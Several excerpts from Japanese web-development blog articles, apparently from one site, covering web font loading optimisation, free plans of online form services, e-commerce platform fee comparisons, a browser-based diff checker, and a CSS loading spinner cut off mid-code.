Webフォントは「読み込めば使える」わけではなく、読み込みが完了するまでの数百ミリ秒をどう扱うかが体験を左右します。ここを外すと、文字が消えたり、レイアウトがガタつきます。 Google Fontsはpreconnectとセットで書く Google Fontsの埋め込みコードは、CSSを取りに行く fonts.googleapis.com と、フォント本体を配信する fonts.gstatic.com の2つのドメインに接続します。preconnect を先に書いておくと、DNS解決とTLSハンドシェイクを前倒しでき、表示開始が早くなります。 <!-- 接続を前倒しする。gstatic側には crossorigin が必要 --> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <!-- 使うウェイトだけを指定する（400と700だけ読む例） --> <link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Noto+Sans+JP:wght@400;700&display=swap"> crossorigin はフォント本体側にだけ付けます。フォントファイルはCORS必須のリソースとして扱われるため、これがないと接続が再利用されず、preconnectの効果が消えます。 font-display: swapで「文字が見えない時間」を消す Webフォントの読み込み中、ブラウザは既定で最大3秒ほどテキストを非表示にして待ちます。これがFOIT（Flash of Invisible Text）で、回線が遅いと「文章が真っ白のまま」という状態になります。 MDNのfont-displayリファレンスのとおり、swap を指定するとブロック期間が実質ゼロになり、まず代替フォントで表示してから差し替わります。Google Fontsを使う場合はURLに &display=swap を付けるだけです。 値挙動向いている場面auto（既定）ブラウザ任せ。多くはblock相当特に理由がなければ変更するblock短時間非表示にしてから差し替えロゴなど字形が絶対条件のものswap即座に代替表示→後で差し替え本文。基本はこれoptional間に合わなければ使わない速度最優先。装飾的な用途 ただし swap は代替フォントから本命フォントへ差し替わる瞬間に字幅が変わるため、レイアウトのズレ（CLS）を生むことがあります。代替フォントの字面を本命に寄せる size-adjust や ascent-override といった記述子で緩和できますが、まずは本文をswapにするところからで十分です。表示速度全般の考え方はPageSpeed Insightsの見方と改善実務にまとめています。 日本語Webフォントは容量が桁違いになる 欧文フォントが数十KBで済むのに対し、日本語フォントは常用漢字だけでも数千字を収録するため、桁がひとつ以上変わります。何も考えずに読み込むと、それだけで表示が重くなります。 web.devのフォントベストプラクティスでも、必要な字だけに絞る「サブセット化」と、読み込むウェイトを減らすことが推奨されています。実務的な優先順位は次のとおりです。 ウェイトを絞る：400と700だけにする。9ウェイト全部読むと単純計算で9倍になる 本文は端末フォントで済ませる：見出しやロゴだけWebフォントにすれば、読み込み量が激減する サブセット化する：Google Fontsは自動で分割配信されるが、自前ホストなら必要な字に絞る 可変フォントを使う：複数ウェイトが必要なら、1ファイルで全ウェイトを賄えるVariable Fontsが有利になる場合がある どのフォントを選ぶかで迷う場合は、Googleフォントのおすすめ日本語＆英語フォントとAdobe Fontsのおすすめ日本語＆英語フォントを用途別にまとめてあります。 【検証】実際に効いているフォントをDevToolsで確認する ここが本記事で最も重要なパートです。CSSに書いたfont-familyと、画面に実際にレンダリングされているフォントは別物です。 ### [formrun・Tayori・Googleフォームの無料枠｜足りるか判定する手順](https://codequest.work/formrun-tayori-googleform-comparison/) 問い合わせフォームを無料のまま運用できるかどうかは、月間の問い合わせ件数・通知を受け取るアドレスの数・自動返信の要否の3つで決まります。formrunの無料プラン（FREE）は1フォームあたり月30件を超えるとフォームが自動で非公開になり、Tayoriの無料プラン（フリー）はツール上からの返信が月10件までです。Googleフォームには回答数そのものの課金上限がない代わりに、添付ファイルがオーナーのGoogleドライブ（15GB）を消費します。 3つとも「無料プランがある」という点は同じですが、無料で止まる場所がまったく違います。formrunは受付件数で止まり、Tayoriは返信件数で止まり、Googleフォームは保存容量と回答者のログイン要件で引っかかります。どこで止まるかを知らないまま導入すると、問い合わせが増えた月に「フォームが開かない」「返信できない」という形で表面化します。 この記事では、3ツールの無料枠を公式の現行値だけで並べ、自分の運用が無料枠に収まるかをその場で判定する手順までをまとめます。掲載した金額と機能制限はすべて2026年8月2日に各社の公式ページで確認した値で、金額は税抜・定価です。フォームの作り込み方（HTMLの書き方・プラグイン設定）には踏み込まず、あくまで「無料で回るかどうか」に絞ります。 結論：3つの無料枠がどこで尽きるか 最初に数字だけを並べます。ここに載っている値がこの記事の全ての判断の土台なので、判定に迷ったらこの3つの表に戻ってください。 無料プランで作れる量 項目formrun FREETayori フリーフォーム作成数1個1つ（FAQ・アンケートも各1つ）使える人数1人1人1フォームの月間回答数30件公式の記載なし上限に達したときフォームが非公開になる―添付ファイル保存容量100MBまで使えない いちばん効いてくるのがformrunの「1フォームあたり月30件」です。公式ヘルプでは、上限に達すると該当フォームが非公開となり、フォームにアクセスすると非公開画面が表示されて回答できない状態になる、と案内されています。上限に達してから慌てて課金するのではなく、あらかじめ上限追加オプションを契約しておく必要があるとも明記されています。 無料プランで送れる返信・通知 項目formrun FREETayori フリー自動返信メール使えない定型文のみツールからの送信数月10通返信は月10件通知先アドレス1フォームに1件公式の記載なしSlack・Chatwork通知使えない使えないクレジット表記を消すできないできない 「無料で使える問い合わせフォーム」として紹介されるときに最も誤解されているのがこの表です。チャットツールへの通知は、formrunではBEGINNERプラン以上、TayoriではプロフェッショナルプランのChatwork・Slack・Teams連携としてのみ提供されます。無料プランのまま「Slackに問い合わせを飛ばす」運用はどちらでも成立しません。自動返信メールも、formrunはBEGINNER以上、Tayoriのフリーは定型文のみです。 Googleフォーム（無料）で効いてくる点 項目現行の仕様回答数Google側の課金上限はない添付ファイル回答者のGoogleログインが必要保存先オーナーのドライブ（15GB共有）デザイン色・ヘッダー画像・フォントを変更可公開「公開」操作をしないと受け付けない通知［回答］からメール通知をオンにする 回答数に課金の上限はありませんが、技術的なしきい値は公式に明記されています。回答が50,000件を超えると回答の概要が表示されなくなり、100,000件を超えるとスプレッドシートへの同期が止まり、10,000件を超えるとCSVの日時での並べ替えや個別ビューが効かなくなります。問い合わせ窓口として使う規模では届きませんが、大規模アンケートでは現実的な上限になります。 Googleフォームは「デザインを変えられない」と書かれることが多いのですが、これは現行仕様では正しくありません。公式ヘルプにテーマの色・背景色・ヘッダー画像・フォントの変更手順が載っています。ヘッダー画像はアップロード・写真・ドライブ・Google画像検索・URLのいずれからでも指定できます。一方で、フォームの構造そのものをHTMLで自由に組むことはできないので、「色とヘッダーは変えられるが、レイアウトはGoogleフォームの型のまま」と理解するのが正確です。 出典は次のとおりです（いずれも2026年8月2日に取得）。formrun公式「プラン・価格」、formrunヘルプ「FREEプランの制限について」、Tayori公式「料金プラン」、Googleフォームのヘルプはフォームを公開して回答者と共有する、フォームのテーマやフォントを変更する、フォームの回答を表示、管理する、フォームの質問の形式を選択する、保存容量はドライブ、Gmail、フォトの保存容量を管理するを参照しました。 自分の運用が無料枠に収まるかを数える手順 比較表を眺めても選べないのは、自分の数字を持っていないからです。次の4つを数えれば、上の表に当てはめるだけで答えが出ます。所要時間は5分ほどです。 手順1：直近3か月で最も多かった月の件数を数える 平均ではなくピークの月を採ります。無料枠は月単位でリセットされるため、平均で足りていてもピーク月に上限を踏めばその月は受付が止まるからです。既存フォームからの通知メールが残っているなら、Gmailの検索窓に subject:お問い合わせ after:2026/05/01 before:2026/06/01 のように月を区切って入力し、表示された件数を月ごとに控えます。件名が違う場合は from:no-reply@ や送信元アドレスで絞り込んでも構いません。 まだフォームを設置していない新規サイトなら、この数字は「0件」ではなく「読めない」が正解です。その場合は手順4まで進めたうえで、後述の検証の章で1か月後に実測してください。 手順2：通知を受け取るアドレスの数を数える 「自分だけが見る」なら1、「営業と制作の2人に飛ばす」なら2です。ここが2以上になると、formrunのFREEでは受信通知が1フォームにつき1アドレスなので設計が崩れます。転送ルールで逃げる手はありますが、誰が返信済みかを見分ける仕組みが無いので、2人以上で回すなら最初から別の方法を選んだほうが事故が少なくなります。 手順3：自動返信が必須かをはっきり決める 「あったほうがいい」ではなく「無いと問い合わせが取りこぼされるか」で判断します。BtoBの資料請求や見積依頼のように、送信者が控えを必要とする用途なら必須です。逆に、こちらから即日返信する運用が確立しているなら必須ではありません。ここでYesを選ぶと、無料プランで選べる選択肢はTayoriの定型文だけに絞られます。 手順4：添付ファイルを受け取るかを決める 求人応募の履歴書、デザイン依頼のラフ、見積用の図面などを受ける予定があるならYesです。Tayoriのフリープランはフォームのファイルアップロードが提供対象外なので、この時点で候補から外れます。formrun FREEは保存容量100MBまで、Googleフォームはオーナーのドライブ15GBを使う代わりに回答者側のGoogleログインが必須という条件が付きます。 数えた4つを判定表に当てはめる 上から順に見て、最初に当てはまった行を採用します。複数当てはまる場合も、上の行が優先です。 条件（上から順に確認）無料で回るのは効いている上限添付ファイルを受け取るGoogleフォームTayoriフリーは添付不可ピーク月が30件を超えるGoogleフォームformrunは30件で非公開ツール上の返信が月11件以上Googleフォーム両ツールとも月10件自動返信が必須実質なしTayoriは定型文のみ通知先が2人以上Googleフォームformrunは1アドレスどれにも当てはまらないformrun / Tayori― 「Googleフォーム」の行が多く見えますが、これはGoogleフォームが優れているという意味ではありません。無料という条件だけを固定すると、件数と通知先の制約が最も緩いのがGoogleフォームだというだけです。最終行に落ちた場合だけ、管理画面で問い合わせを一覧できるformrunやTayoriの利点がそのまま効いてきます。 3つのケースで判定を埋めてみる 手順どおりに数えると、同じ3ツールでも結論が割れます。よくある3パターンで実際に埋めてみます。 ケース数えた結果判定個人のポートフォリオピーク月2件／通知1／自動返信なし／添付なしformrun FREE または Tayori フリー制作会社のサービス紹介ページピーク月40件／通知3／自動返信あり／添付なし無料では回らない社内・学内アンケート回答200件／通知1／自動返信なし／添付ありGoogleフォーム 個人のポートフォリオは判定表の最終行に落ちます。月2件なら30件の上限にも10通の送信上限にも当たらないので、管理画面で対応状況を追えるformrunかTayoriのほうが快適です。ただしどちらもクレジット表記は消せないので、サイトの世界観を崩したくないなら自前で実装する道も残ります。 制作会社のサービス紹介ページは、ピーク月40件の時点でformrunのFREEから外れ、通知3アドレスと自動返信必須でTayoriのフリーからも外れます。この構成を無料で成立させる組み合わせは存在しません。素直に有料プランへ上げるか、次章の実装型へ振るかの二択になります。 社内・学内アンケートは回答200件の時点でformrun・Tayoriの無料枠を大きく超えますが、Googleフォームには回答数そのものの課金上限がありません。回答者が全員Googleアカウントを持っている前提が成り立つ場面なので、添付の要件ともかみ合います。回答が50,000件を超えると概要が表示されなくなる、という公式の注意はありますが、この規模では届きません。 見落としやすい4つの落とし穴 件数や通知先とは別に、導入してから気づきやすい制約が4つあります。いずれも公式に明記されている内容です。 formrunの無料プランではHTMLでフォームを組めない formrunには、編集画面から作る「クリエイターフォーム」と、HTMLを自分で書ける「コード型フォーム」の2種類があります。デザインの自由度が高いのは後者ですが、2023年10月24日にFREEプランでは有料オプション化され、月額980円（税抜）／1フォームが必要になりました。BEGINNER以上の有料プランでは追加料金なしで使えます。「formrunは無料でもHTMLで自由に組める」という説明は、この改定より前の情報です。 出典はformrunのお知らせ「FREEプランにおけるコード型フォームの有料化のお知らせ」（2026年8月2日取得）です。 クレジット表記を消せないのは無料のformrunとTayoriの側 「Googleフォームはブランディングに向かない」とよく言われますが、公式の機能一覧を見るかぎり、無料プランでクレジット表記を消せないのはformrunとTayoriのほうです。formrunのヘルプはFREEで使えない機能として「クレジット表記の非表示」を挙げ、Tayoriの料金表は「Tayoriクレジットの非表示」をフリープランで提供対象外としています。一方のGoogleフォームは、テーマ色・ヘッダー画像・フォントを無料のまま変更できます。 ただしGoogleフォームにも、公開したフォームの下部にGoogleの定型表記が入ります。この表記の文面と出方はアカウントの種類やフォームの設定で変わるため、自分で1つテスト用のフォームを公開し、実際の画面で確認してから採用の可否を決めてください。 ### [ECサイト構築の費用比較｜月商から選ぶモール出店・ASP・自社EC](https://codequest.work/ecsite-cost-compare-method/) ECサイトの費用とは、初期費用と月額固定費、そして売上に比例して増える変動費（決済手数料・システム利用料・売上ロイヤリティ・ポイント原資・アフィリエイト報酬）の合計であり、どのチャネルが安いかは月商と客単価が決まらないと決まりません。「月額いくら」だけを並べた比較表では答えが出ない、というのがこの費用構造の結論です。 実際、楽天市場の公式シミュレーションに月商50万円・客単価3,000円・ファッションと入力すると、がんばれ！プランの月額合計は89,137円（税別）＝売上の17.8%と表示されます。よく見かける「モール手数料は10〜15%」という説明は、この規模では成立しません。 この記事では、楽天市場・Yahoo!ショッピング・Amazon・Shopify・BASE・カラーミーショップ・makeshop の公式料金ページを同じ日（2026年8月2日）に突き合わせ、自分の月商と客単価を入れれば「売上の何%が手数料に消えるか」が出る計算手順までを書きます。金額はすべて出典と取得日つきです。 ECサイトの費用は「初期・固定・変動」の3層で決まる 費用を比較して迷子になる原因は、性質の違う3つの費用を1つの数字に混ぜていることにあります。まず層に分けます。 層中身判断への効き方初期費用出店・契約時に1回だけ発生する一度きり。運営が続くほど無視できる月額固定費売上が0円でも毎月発生する月商が小さいほど重くのしかかる変動費売れた分だけ増える月商が大きいほど重い。売上比で見ないと見えない 変動費に何が含まれるか 比較記事で抜け落ちやすいのは変動費です。実際には次の項目が積み上がります。 決済手数料（クレジットカード・コンビニ・キャリア決済など、決済方法ごとに料率が違う） システム利用料・売上ロイヤリティ（モールが売上そのものに対して取る） ポイント原資（楽天ポイント、Yahoo!のストアポイント。付与分は出店者の負担） アフィリエイト報酬と、その報酬に対して重ねてかかる手数料 サービス利用料（BASEのスタンダードプランの3%など、決済手数料とは別枠のもの） 注文1件ごとの固定手数料（BASEの40円など。客単価が低いほど売上比が跳ね上がる） 税表示が各社でそろっていないので、先に土俵を決める 比較の前に潰しておくべき落とし穴があります。公式ページの税表示が会社ごとに違います。以下は各社の料金ページに実際に書かれている表記です（2026年8月2日時点）。 サービス公式ページの税表示楽天市場「上記の料金はすべて税別です」と明記Yahoo!ショッピング月額システム利用料10,000円（税抜）と明記Amazon（大口出品）月額4,900円（税抜）と明記makeshop「価格はすべて税込表示です」と明記。税抜も併記カラーミーショップ「価格表記はすべて税込です」と明記BASE年払い金額の記載で税込と明記Shopify（日本語の料金ページ）税の扱いの記載が見当たらない 本記事は税抜（税別）に寄せて比較します。makeshopは公式が併記している税抜額を、カラーミーショップは税込額を1.1で割った額を使います。Shopifyの表示価格とBASEの1注文40円は税の扱いが公式に書かれていないため表示のまま計算しています。したがってASP側の合計額には最大1割程度のブレがありえますが、後述するモールとの差はこのブレでは埋まりません。 モール3社の実額｜月商50万円で何円かかるのか 条件をそろえます。月商50万円・客単価3,000円・ファッションジャンル・月間注文数167件。この条件で3社を並べます。 楽天市場｜プランを上げるほど売上比は悪化する 楽天市場の出店プランは3つあり、全プラン共通で初期登録費用60,000円（税別）、契約期間は1年です。公式ページの料金シミュレーションに前述の条件を入力した結果が以下です。 プラン月額出店料月商50万円時の合計売上比がんばれ！プラン25,000円89,137円17.8%スタンダードプラン65,000円118,638円23.7%メガショッププラン130,000円183,638円36.7% すべて税別です。出典は楽天市場の出店プランと費用のページ（2026年8月2日にブラウザで表示させて取得）。小規模な出店で「手数料10〜15%」に収まるという説明は、この実測値と食い違います。 Yahoo!ショッピング｜2026年9月から有料化される Yahoo!ショッピングは長く「初期費用・月額システム利用料・売上ロイヤリティがすべて無料」で知られてきましたが、2026年9月から出店プランが刷新されます。公式サイトに掲載されている新料金は次のとおりです。 費用項目新料金（2026年9月から）初期費用0円月額システム利用料10,000円（税抜）売上ロイヤリティ2.5%ストアポイント原資負担料1%は必須（1〜15%で設定可能）アフィリエイトパートナー報酬2〜4%は必須（カテゴリによる）アフィリエイト手数料パートナー報酬の30%LINEショッピングタブ掲載経由料金経由2〜4%（2026年は発生しない） 同じページの公式シミュレーションに月商50万円・ファッションを入れると、費用総額は44,750円＝売上の9.0%と表示されました。内訳は月額10,000円・売上ロイヤリティ12,500円・決済サービス利用料15,000円・ストアポイント原資5,000円・アフィリエイト1,950円・LINEショッピングタブ経由300円です。 ここで公式ページ内の食い違いに注意してください。LINEショッピングタブ経由の300円は「2026年は発生しません」と注記されているのに、シミュレーションの総額には含まれています。2026年内の実額として読むなら44,450円＝8.9%です。出典はYahoo!ショッピングの出店案内ページ（2026年8月2日、実ブラウザでシミュレーションを操作して取得）。 Amazon｜カテゴリと価格帯で料率が変わる Amazonは月額が安い代わりに、販売手数料がカテゴリと価格帯で細かく分かれます。大口出品は月額4,900円（税抜）、小口出品は商品ごとに100円。販売手数料は公式表現で「多くの場合は5%〜15.4%」です。 カテゴリ販売手数料最低販売手数料本・DVD・ミュージックなどのメディア15.4%なし服＆ファッション小物750円超2,500円以下は8.4%、2,500円超3,000円以下は12.4%30円パソコン・周辺機器750円超は8.4%30円ホーム＆キッチン750円超は15.4%30円Amazonデバイス用アクセサリー45.4%30円 客単価3,000円のファッションなら12.4%の帯に入るので、月商50万円での試算は「4,900円＋500,000円×12.4%＝66,900円＝13.4%」。ただし料率がかかるのは「売上の合計」＝商品価格に配送料・ギフト包装料・税を足した額なので、実際はこれより上振れします。FBAを使うなら配送代行手数料と保管手数料が別途乗ります。出典はAmazon出品サービスの料金ページ（2026年8月2日取得）。 モール3社の横並び チャネル月額固定費月商50万円時の合計売上比楽天市場 がんばれ！プラン25,000円89,137円17.8%Amazon 大口出品4,900円66,900円13.4%Yahoo!ショッピング（2026年9月から）10,000円44,750円9.0% 同じ「モール」でも売上比は9.0%から17.8%まで開きます。ひとくくりの手数料レンジで判断してはいけない理由がここにあります。なお、プラットフォームに乗ったときに手数料が売上比でどう効くかという論点はECに限りません。アプリ販売側の実例は Apple Small Business Programの手数料15%の仕組み にまとめています。 ASP4サービスの実額｜月額だけを見ると判断を誤る ASP（クラウド型ECサービス）は自社ECを短期間で立ち上げる方法です。ここでよくある失敗が「月額0円だから一番安い」という判断です。決済手数料とサービス利用料を足すと順位が入れ替わります。 初期費用と月額固定費 サービス・プラン初期費用月額固定費販売手数料Shopify Basic（年払い）0円3,650円なしBASE スタンダード0円0円なしカラーミーショップ レギュラー3,300円（税込）4,950円（税込）0円makeshop プレミアム11,000円（税込）13,750円（税込）0円 Shopifyは月払いだとBasic 4,850円・Grow 13,500円・Advanced 58,500円で、年払いにするとそれぞれ3,650円・10,100円・44,000円に下がります。Plusは368,000円から。カード手数料はBasic 3.55%・Grow 3.4%・Advanced 3.25%・Plus 2.9%で、Shopify ペイメント以外の決済を使うと外部サービスの取引手数料が別途2%（Basic）かかります。BASEのグロースプランは月額16,580円（年払いの1か月あたり。月払いなら19,980円）です。 同じ条件で変動費まで足すと、こうなる モールと同じ条件（月商50万円・客単価3,000円・月間注文数167件）で計算し、税抜に寄せた合計です。 サービス・プラン変動費の内訳月額合計売上比Shopify Basic（年払い）カード3.55%＝17,750円21,400円4.3%カラーミーショップ レギュラーカード3.4%＝17,000円21,500円4.3%makeshop プレミアムカード3.19%＝15,950円29,950円6.0%BASE スタンダード3.6%＋40円／注文＋サービス利用料3%39,680円7.9% 並べ替わりました。月額0円のBASEが、この条件では4サービス中いちばん高くなります。理由は決済手数料3.6%に加えてサービス利用料3%が重なり、さらに1注文あたり40円が乗るからです。167件で6,680円、売上比にすると1.3%です。客単価が低いほどこの40円は効きます。 makeshopの合計には、料金表に載っているmakeshopペイメントの月額1,650円（税込・税抜1,500円）を含めています。1点、公式ページ内で数字が食い違っている箇所があります。料金表ではプレミアム3.19%・エンタープライズ3.14%ですが、同じページのFAQは「プレミアムプランは……3.14%」と書いています（2026年8月2日時点）。本記事は料金表の3.19%で計算しました。プランごとの内訳と長期契約割引は makeshopの機能と料金プランの詳細 で個別に扱っています。 各社の出典は Shopifyの料金プラン、BASEの料金プラン・手数料、カラーミーショップのプラン・料金一覧、makeshopの料金プラン。いずれも2026年8月2日に取得しました。決済ブランドのロゴを自社ECに掲載するときの規約は 決済ブランドロゴのECサイト掲載ルール にまとめています。 商品点数が増えたときの選択肢 上の4サービスから外れる規模になったら、makeshopのエンタープライズプラン（月額55,000円から・初期費用11,000円から・商品登録50,000点）や、futureshop（初期費用22,000円から・月額27,000円から・売上手数料0円。omni-channelプランは初期752,000円・月額167,000円）が候補になります。ただしfutureshopは決済機能の料金が別建てで、公式の料金ページからは決済料率を確認できませんでした。本記事の売上比の表に載せていないのはそのためです。 フルスクラッチとオープンソースは、月額比較の土俵に乗らない フルスクラッチ開発とオープンソース型（EC-CUBEなど）は、ここまでの表に並べられません。月額の定価が存在せず、費用が要件と体制で決まるからです。 ### [コード・テキスト比較をブラウザで｜登録不要の無料diff差分チェッカー](https://codequest.work/diff-tools-comparison/) コード比較とは？ブラウザだけで差分を確認する方法 インストール・登録不要。２つのテキストを貼るだけで、変更箇所がその場でハイライトされます。 ▶ コードの差分をチェックする（CodeDiff Checker・無料） コード比較（diff）とは、2つのコードやテキストの差分を行・文字単位で検出し、変更・追加・削除された箇所を視覚的に示すことです。Gitを使わなくても、ブラウザに2つのコードを貼り付けるだけで実行できます。 プログラミングをしていると、"どこを修正したのか"を確認したい場面は必ずあります。Gitのdiffコマンドが代表的ですが、コマンドライン操作が苦手な初心者にとっては少しハードルが高いのも事実です。 そこで本記事では、ブラウザだけでコード比較ができる無料ツール「CodeDiff Checker」を中心に、コード比較の基本・具体的な手順・用途別の使いどころ・実務Tips・FAQまでをまとめました。インストールも登録も不要で、2つのコードを貼るだけで変更箇所がその場でハイライトされます。 ブラウザ上で動くためWindows / Linux / macOS を問わず利用でき、入力したコードは外部に送信されず端末内だけで処理されます。初心者の学習用途から実務のコードレビューまで、まずはこの1つで完結します。 diffとは？なぜ必要？ "diff"とは、2つのファイルやコードの差分（difference）を比較するための仕組み・コマンドです。たとえば、コードの修正前と修正後を比べて「どこが変わったか」を視覚的に確認するのに役立ちます。 通常はGitなどのCLIツールでdiffコマンドを使いますが、GUIツールやオンラインツールを使うことで、誰でも直感的に差分をチェックできるようになります。 コード比較ツール・ファイル比較ツールとは コード比較ツールとは、プログラムのソースコードの差分を検出・表示するための差分比較ツールです。ファイル比較ツールはより広い概念で、テキストファイルだけでなく画像やPDF、フォルダ構造の差分にも対応するものを含みます。プレーンテキストを行・文字単位で比較する仕組みのため、コードに限らず原稿・契約書・翻訳など「テキスト比較ツール」としても活用できます。 どちらも「2つのデータの違いを見つける」という目的は同じですが、用途に応じて使い分けることが重要です。コーディング学習やコードレビューにはコード比較に特化したツール、納品物の確認やバックアップチェックにはフォルダごと比較できるファイル比較ツールが適しています。 diffツールはこんな用途で使える（5つのシーン） diffツールは「ソースコードの差分確認」のイメージが強いですが、実体は「2つのテキストを行・文字単位で比較するツール」です。プレーンテキスト同士であれば内容を問わず比較できるため、コード以外にも以下のような業務で広く使われています。 ① ソースコード・コードレビュー もっとも代表的な用途。プルリクエスト前のセルフレビュー、リファクタ前後の差分確認、本番とステージング環境の設定ファイル比較などに使います。シンタックスハイライト対応のツールならコードがそのまま読みやすい形で表示されます。 ② 原稿・ブログ記事の推敲 編集前後の文章を貼り付けるだけで、削除された一文や追記された段落が一目で分かります。Word・Notion・Googleドキュメントからコピーしても動作するため、ライターや編集者の校正作業でも活用できます。 ③ 契約書・利用規約の改定差分チェック 法務レビューで「旧版 vs 新版」を比較し、改定された条文だけを抽出する用途。PDFをコピペするだけで変更箇所をハイライトできるので、紙の朱書きより効率的です。社外秘の内容を扱う場合はオフラインで動くデスクトップ版の利用を推奨します。 ④ 翻訳のチェック・AI出力の比較 原文と訳文の対応確認、翻訳バージョン違いの差分、機械翻訳と人手翻訳の比較、ChatGPT・Claudeなど複数AIの出力比較にも使えます。「どこが変わったか」を視覚化できるため、品質チェックの工数を大きく削減できます。 ⑤ 設定ファイル・データの差分確認 .env / nginx.conf / JSON / CSV / SQLダンプなどの設定ファイル・データファイルの行レベル差分を確認する用途。トラブルシューティング時に「動いている環境と動かない環境の差を特定する」場面で特に役立ちます。 CodeDiff Checkerの使い方（3ステップ） CodeDiff Checkerは、2つのコードの違いを一目で確認できる無料オンラインツールです。Gitを使わなくても簡単に差分チェックができるため、初心者から中級者の学習・レビュー用途に最適です。 主な機能 2つのコードを並べて表示（左：Before、右：After） 変更箇所を色付きでハイライト表示 JavaScript / HTML / CSS / PHP など様々なコードに対応 スマホやタブレットでも動作（レスポンシブ対応） データは送信されず、ローカル上のみで比較可能 操作手順 CodeDiff Checker にアクセス 左右のエリアに、比較したいコードをそれぞれ貼り付け 「差分を比較」ボタンをクリック → 結果がすぐに表示されます 活用シーン デバッグ時の変更確認：変更前後のコードを並べて、どこを編集したか即確認できます。 コードレビュー・教育：学習者が書いたコードと模範解答を比較して、指導に役立てることができます。 バージョン管理ツールが使えない場面：Git環境が整っていないときでも差分をすぐに確認可能です。 使用時の注意点 機密情報は避ける：ローカル処理ですが、念のためパスワードやAPIキーなどの貼り付けは控えましょう。 改行やインデントの差も検出対象：細かなフォーマット違いも差分として表示されるため、見落としに注意。 コード比較の実例｜関数のバグを差分で見つける 実際に CodeDiff Checker でコード比較する流れを、具体例で見てみましょう。たとえば「合計金額が合わない」というバグが出たとき、修正前と修正後のコードを並べて比較すると原因の行を一瞬で特定できます。 修正前のコードはこちらです。 function total(price, qty) { const subtotal = price + qty; // バグ: 加算になっている return Math.floor(subtotal * 1.1); } 修正後はこちらです。 function total(price, qty) { const subtotal = price * qty; // 正: 乗算 return Math.floor(subtotal * 1.1); } 左に修正前、右に修正後を貼って「差分を比較」すると、subtotal を計算する1行だけが変更行としてハイライトされ、price + qty が price * qty に変わったことが文字単位で分かります。目視では見落としやすい + と * の1文字差も、コード比較なら確実に拾えます。 このように「どの行のどの文字が変わったか」を色で可視化するのがコード比較ツールの役割です。修正前後の確認だけでなく、他人のコードとの差分、AIが生成したコードの比較、本番とローカルの設定差の特定など、変更点を探す作業を一瞬で終えられます。 コードに限らず、CSSの値違いや設定ファイル（.env・JSON）の差分確認にも同じ手順で使えます。たとえば「本番では動くのにローカルで動かない」というとき、両方の設定を左右に貼って比較すれば、1か所だけ違う環境変数や値を即座に特定できます。コード比較は“バグの原因切り分け”の最初の一手として効きます。 ポイントは「動いていたときのコード」を残しておくことです。バグが出たら、正常時のコードと現在のコードを比較するだけで、原因の候補が一気に絞れます。コミットやバックアップ、あるいはエディタの編集履歴から正常時の状態を持ってきて貼るだけなので、デバッグの初動が速くなります。「なんとなく直す」前に、まず差分を見て事実を確認する——この順番を習慣にすると、無駄な書き換えやデグレを防げます。 実務Tips（ベストプラクティス集） 差分チェックの活用シーン コードレビュー前に 変更点を明確化 して、不要な修正を早期に発見。 チーム開発で複数人が同時に作業している場合の 競合確認。 リリース前に本番コードとローカルコードを比較して 意図しない差分 を防止。 差分チェックのポイント 改行コード（LF / CRLF）の違いで差分が出ることがあるため、事前に統一。 インデント（タブ／スペース）の統一ルールを設定しておくと差分が見やすくなる。 本文だけでなく、設定ファイルや構成ファイル も比較対象に含めると安心。 効率的な利用方法 小さな単位で差分を確認 → 大きな修正のレビュー漏れを防止。 バージョン管理（Git）と組み合わせて使うと、修正の意図を確認しやすい。 Web ツールは手軽だが、セキュリティ上の理由で 機密情報を含むコードはローカル環境で確認 するのが推奨。 コード比較でよくある失敗と対処 コード比較は手軽な一方、入力データの状態によっては「本質的でない差分」が大量に出て、肝心の変更点が埋もれてしまうことがあります。よくある失敗と対処をまとめます。 改行コード（LF / CRLF）の違いで全行が差分になる：WindowsとMac/Linuxでコピー元が異なると起きがち。エディタで改行コードを統一してから比較する。 インデントのタブ／スペース混在：見た目が同じでも差分扱いになる。フォーマッタ（Prettier等）で整形してから貼る。 コピペ時の全角スペース混入：気づきにくい原因の代表格。CodeDiff Checker は全角スペースを検出して表示するため、混入箇所をそのまま発見できる。 文字コード（UTF-8 / Shift_JIS）の違い：文字化けが差分として出る。比較前に同じ文字コードに揃える。 巨大ファイルをまるごと貼る：数千行超はブラウザが重くなる。関数・モジュール単位など、確認したい範囲に絞って比較する。 比較範囲がずれている：片方に余分な空行やコメントが残っていると以降が全部ずれて差分になる。末尾の空行や無関係な行を揃えてから比較する。 いずれも「比較前にノイズを減らす」ことが要点です。整形・文字コード・改行コードを揃えるだけで、差分結果が一気に読みやすくなります。 特に学習中やチーム開発では、コードを貼る前に「フォーマッタをかける」「改行コードを揃える」の2つを習慣にしておくと、毎回の比較がぶれません。差分が大量に出たときは、まず本質的な変更なのか、整形ノイズなのかを切り分ける——これだけで原因特定のスピードが大きく変わります。 CodeDiff Checker でできること（機能まとめ） 項目内容タイプブラウザ完結のオンラインツール対応OSWindows / Linux / macOS（ブラウザがあれば可）料金完全無料・登録不要・インストール不要対応コンテンツコード / テキスト（行・文字単位で比較）ハイライト変更・追加・削除を色分け表示、全角スペースも検出データの扱いサーバー送信なし・端末内のみで処理 ブラウザだけでコード比較を完結できます。 コードの差分を今すぐ比較する（CodeDiff Checker・無料） コード比較を学習・コードレビューに活かすコツ コード比較は、書いて終わりにせず「前との違いを見る」習慣とセットにすると学習効率が一気に上がります。中級者を目指す段階で特に効く使い方を挙げます。 模範解答と自分のコードを並べる：同じ動作でも書き方の差（命名・分岐・ループの組み方）が一目で分かり、改善点を具体化できる。 ### [CSSだけで作る円形ローディングアニメーション｜回転スピナー実装](https://codequest.work/colorrotor-css-animation/) 🎨 ColorRotor｜カラフルに回転するCSSローディングアニメーション ColorRotorは、シンプルながらも視線を引きつける、CSSだけで完結するローディングアニメーションです。回転する3つのカプセルが10色に変化しながら、中央で美しいリズムを刻みます。 ✅ 特徴 CSSのみで構成（JavaScript不要） 10色のカラーグラデーション cubic-bezierによる緩急ある回転 汎用的：ローディングだけでなく装飾・アイコン演出にも応用可 React風の形状ではなく、ハンバーガーメニューやボタンデザインにも展開可能 💡 こんな場面で使えます ページ遷移時のローディングUI ダークモード対応の装飾アクセント ハンバーガーメニュー開閉中の視覚的フィードバック シンプルなLPやポートフォリオでの印象強化 🧪 実装概要 /* 代表的な .capsule スタイル（抜粋） */ .capsule { width: 30px; height: 200px; border: 4px solid #3399FF; border-radius: 20px / 75px; transform-origin: center center; transform: translate(-50%, -50%) rotate(0deg); animation: colorCycle 2s linear infinite, rotateToAngle 4s cubic-bezier(0.85, 0, 0.15, 